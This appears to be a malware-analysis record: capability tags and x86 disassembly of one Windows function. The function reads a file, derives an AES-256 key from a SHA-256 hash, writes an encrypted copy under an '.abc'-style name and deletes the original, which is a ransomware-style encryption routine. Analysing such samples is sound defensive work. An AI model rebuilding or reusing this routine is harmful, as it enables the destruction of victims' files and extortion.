Function at 0x401260
Capabilities:
Create new key via cryptacquirecontext
Delete file
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Get file size
Hash data via wincrypt
Initialize hashing via wincrypt
Read file on windows
Write file on windows

Disassembly:
sub esp, 0x138
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x134], eax
push ebx
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 0
mov eax, ecx
mov dword [esp + 0x3c], edx
mov ecx, dword [esp + 0x160]
push 0x80000000
push eax
mov dword [esp + 0x40], eax
mov dword [esp + 0x48], ecx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x4014e1
push 0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
push eax
mov dword [esp + 0x20], eax
call ebx
mov edi, eax
add esp, 4
test edi, edi
je 0x4012f1
push 0
lea eax, [esp + 0x34]
push eax
push dword [esp + 0x24]
push edi
push esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x4012fd
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x4014e1
mov ebp, dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
call ebp
push 0xf0000000
push 0x18
push 0
push 0
lea eax, [esp + 0x20]
push eax
call dword [sym.imp.ADVAPI32.dll_CryptAcquireContextA]
test eax, eax
je 0x4013d0
lea eax, [esp + 0x14]
push eax
push 0
push 0
push 0x800c
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptCreateHash]
push 0
test eax, eax
je 0x4013c6
push 0x20
push dword [esp + 0x30]
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x4013ba
lea eax, [esp + 0x18]
push eax
push 0
push dword [esp + 0x1c]
push 0x6610
push dword [esp + 0x20]
call dword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x4013ba
push 0
push dword [esp + 0x30]
push 1
push dword [esp + 0x24]
call dword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
mov eax, dword [esp + 0x1c]
mov esi, dword [sym.imp.ADVAPI32.dll_CryptEncrypt]
push eax
mov dword [esp + 0x24], eax
lea eax, [esp + 0x24]
push eax
push 0
push 0
push 1
push 0
push dword [esp + 0x30]
call esi
test eax, eax
jne 0x4013df
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push edi
call dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
add esp, 4
jmp 0x4014e1
push dword [esp + 0x20]
call ebx
mov ebx, eax
add esp, 4
test ebx, ebx
je 0x4013b0
push dword [esp + 0x1c]
push edi
push ebx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
lea eax, [esp + 0x1c]
push dword [esp + 0x20]
push eax
push ebx
push 0
push 1
push 0
push dword [esp + 0x30]
call esi
test eax, eax
je 0x40146f
push dword [esp + 0x24]
lea eax, [esp + 0x3c]
push str._s.abc
push 0x104
push eax
call fcn.00401040
add esp, 0x10
lea eax, [esp + 0x38]
push 0
push 0x80
push 2
push 0
push 0
push 0x40000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov esi, eax
cmp esi, 0xffffffff
je 0x40146f
push 0
lea eax, [esp + 0x38]
push eax
push dword [esp + 0x28]
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
push esi
test eax, eax
jne 0x4014a3
call ebp
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push ebx
call esi
add esp, 4
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push edi
call esi
add esp, 4
jmp 0x4014e1
call ebp
mov esi, dword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
push edi
call esi
add esp, 4
push ebx
call esi
add esp, 4
push dword [esp + 0x18]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
push 0
push dword [esp + 0x14]
call dword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, dword [esp + 0x144]
pop edi
pop esi
pop ebp
pop ebx
xor ecx, esp
call fcn.00401da6
add esp, 0x138
ret